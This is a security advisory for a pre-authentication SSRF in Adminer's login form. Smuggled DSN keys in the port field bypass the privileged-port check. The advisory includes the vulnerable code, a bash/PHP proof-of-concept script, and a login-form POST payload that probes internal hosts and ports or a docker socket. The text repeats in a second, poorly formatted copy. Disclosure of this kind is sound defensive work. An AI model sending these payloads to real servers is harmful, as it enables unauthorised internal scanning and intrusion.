DSN-injection pre-auth SSRF
Summary
Adminer's login server-string validator rejects privileged ports (< 1024) but only inspects a leading integer. A value like localhost:zzz;host=10.0.0.5;port=22 passes validation, and the PDO drivers interpolate the raw port into an unquoted DSN. PDO_MySQL honours the smuggled host=/port= keys (last-key-wins) and opens a TCP connection to the attacker-chosen host:port. The connect fires before authentication, turning the login form into an unauthenticated SSRF / internal port-scan oracle that defeats the privileged-port restriction added in 5.4.3 (GHSA-r4x9-5m63-3vxw).
Details
host_port() (adminer/include/functions.inc.php:867) splits the server string on the last colon and captures the port with [^:]+, so the port may contain ;, ,, /, spaces and letters. The validator (adminer/include/auth.inc.php:179) only rejects a port that begins with an out-of-range integer:
if (preg_match('~^\s*([-+]?\d+)~', $port, $match) && ($match[1] < 1024 || $match[1] > 65535)) {
auth_error(lang('Connecting to privileged ports is not allowed.'), $permanent);
}
A port starting with a non-digit is never inspected. The PDO drivers then interpolate $port into an unquoted DSN:
// adminer/drivers/mysql.inc.php:180 (PDO_MySQL)
"mysql:charset=utf8;host=$host" . ($port ? (is_numeric($port) ? ";port=" : ";unix_socket=") . $port : "")
Because the port carries ;, the attacker appends DSN keys. PDO_MySQL applies the last host=/port= in the DSN, so ;host=<internal>;port=<privileged> overrides the validated host and reaches an arbitrary TCP endpoint. Same class affects PDO_DBLIB / PDO_SQLSRV (adminer/drivers/mssql.inc.php:187,197) and PDO_OCI (adminer/drivers/oracle.inc.php:114, interpolates the raw $server). mysqli reaches arbitrary unix sockets via the unix_socket branch. PostgreSQL is not affected (host/port addcslashes-quoted). SERVER is attacker-controlled via $_GET[DRIVER] at adminer/include/bootstrap.inc.php:88.
PoC
#!/bin/bash
# Adminer 5.4.5-dev pre-auth SSRF PoC: PDO_MySQL honours a smuggled host=/port= from the
# injected `server` field and opens a TCP connection to a privileged/internal endpoint that
# the privileged-port validator (auth.inc.php:179) directly rejects.
# Proves the DSN Adminer builds for SERVER=localhost:zzz;host=127.0.0.1;port=<PORT> reaches TCP.
#
# Detection is nc-flavor-independent: a single-shot Python listener accepts one connection,
# writes a marker file, and closes immediately (so PDO returns at once instead of blocking).
set -u
PORT="${PORT:-9999}"
FLAG=$(mktemp)
rm -f "$FLAG" # presence of this file == the smuggled TCP connect landed
if ! command -v python3 >/dev/null 2>&1; then echo "[-] need python3"; exit 1; fi
# Single-shot catcher: bind 127.0.0.1:PORT, accept one connection, record peer, close, exit.
python3 - "$PORT" "$FLAG" <<'PY' &
import socket, sys
port = int(sys.argv[1]); flag = sys.argv[2]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind(("127.0.0.1", port)); s.listen(1); s.settimeout(10)
conn, addr = s.accept()
with open(flag, "w") as f: f.write("HIT %s:%d" % addr)
conn.close()
except OSError as e:
sys.stderr.write("[-] listener error: %s\n" % e)
finally:
s.close()
PY
LPID=$!
sleep 0.7 # let the listener bind
DSN="mysql:charset=utf8;host=localhost;unix_socket=zzz;host=127.0.0.1;port=$PORT"
echo "[*] DSN as built by adminer/drivers/mysql.inc.php:180: $DSN"
php -r '$d=$argv[1]; try{new PDO($d,"x","x",[PDO::ATTR_TIMEOUT=>3]);}catch(Exception $e){echo "[*] PDO: ".$e->getMessage()."\n";}' "$DSN"
wait "$LPID" 2>/dev/null
if [ -f "$FLAG" ]; then
echo "[*] Listener: $(cat "$FLAG")"
echo "[+] CONFIRMED: PDO opened TCP to smuggled 127.0.0.1:$PORT (privileged-port validator bypassed)"
rm -f "$FLAG"; exit 0
else
echo "[-] no TCP connection observed (is pdo_mysql installed? is port $PORT free? try: PORT=9998 $0)"
rm -f "$FLAG"; exit 1
fi
- Validator accepts the smuggle, rejects the direct form:
php poc_1_dsn_injection_ssrf_port_bypass.php
# 10.0.0.5:22 => REJECT(privileged port)
# localhost:zzz;host=10.0.0.5;port=22 => ALLOW
- PDO_MySQL honours the smuggled TCP target (single-shot listener proves the connect lands):
python3 -c 'import socket;s=socket.socket();s.setsockopt(1,2,1);s.bind(("127.0.0.1",9999));s.listen(1);s.settimeout(10);c,a=s.accept();print("HIT",a);c.close()' &
sleep 0.7
php -r '$d="mysql:charset=utf8;host=localhost;unix_socket=zzz;host=127.0.0.1;port=9999"; try{new PDO($d,"x","x",[PDO::ATTR_TIMEOUT=>3]);}catch(Exception $e){echo $e->getMessage();}'
# listener prints HIT ('127.0.0.1', <srcport>); PHP prints "MySQL server has gone away" = completed TCP handshake
- Against a live Adminer, submit the login form (pre-auth):
POST /adminer.php
auth[driver]=server&auth[server]=localhost:zzz;host=<internal-ip>;port=<port>&auth[username]=x&auth[password]=x
The response (connection refused / handshake / timeout) reveals whether <internal-ip>:<port> is open.
Impact
Unauthenticated SSRF. Any attacker who can reach the Adminer login page drives the server into TCP connects to arbitrary internal host:port — including the privileged ports the 5.4.3 fix protects. Response timing/error text is a blind oracle to map internal hosts and open ports, and to reach internal-only MySQL/MariaDB instances. Also: arbitrary unix-socket connect (e.g. localhost:/var/run/docker.sock) and DSN attribute injection into PDO_SQLSRV/DBLIB/OCI.
DSN-injection pre-auth SSRF
Summary
Adminer's login
server-string validator rejects privileged ports (< 1024) but only inspects a leading integer. A value likelocalhost:zzz;host=10.0.0.5;port=22passes validation, and the PDO drivers interpolate the raw port into an unquoted DSN. PDO_MySQL honours the smuggledhost=/port=keys (last-key-wins) and opens a TCP connection to the attacker-chosen host:port. The connect fires before authentication, turning the login form into an unauthenticated SSRF / internal port-scan oracle that defeats the privileged-port restriction added in 5.4.3 (GHSA-r4x9-5m63-3vxw).Details
host_port()(adminer/include/functions.inc.php:867) splits the server string on the last colon and captures the port with[^:]+, so the port may contain;,,,/, spaces and letters. The validator (adminer/include/auth.inc.php:179) only rejects a port that begins with an out-of-range integer:A port starting with a non-digit is never inspected. The PDO drivers then interpolate
$portinto an unquoted DSN:Because the port carries
;, the attacker appends DSN keys. PDO_MySQL applies the lasthost=/port=in the DSN, so;host=<internal>;port=<privileged>overrides the validated host and reaches an arbitrary TCP endpoint. Same class affects PDO_DBLIB / PDO_SQLSRV (adminer/drivers/mssql.inc.php:187,197) and PDO_OCI (adminer/drivers/oracle.inc.php:114, interpolates the raw$server). mysqli reaches arbitrary unix sockets via theunix_socketbranch. PostgreSQL is not affected (host/portaddcslashes-quoted).SERVERis attacker-controlled via$_GET[DRIVER]atadminer/include/bootstrap.inc.php:88.PoC
The response (connection refused / handshake / timeout) reveals whether
<internal-ip>:<port>is open.Impact
Unauthenticated SSRF. Any attacker who can reach the Adminer login page drives the server into TCP connects to arbitrary internal
host:port— including the privileged ports the 5.4.3 fix protects. Response timing/error text is a blind oracle to map internal hosts and open ports, and to reach internal-only MySQL/MariaDB instances. Also: arbitrary unix-socket connect (e.g.localhost:/var/run/docker.sock) and DSN attribute injection into PDO_SQLSRV/DBLIB/OCI.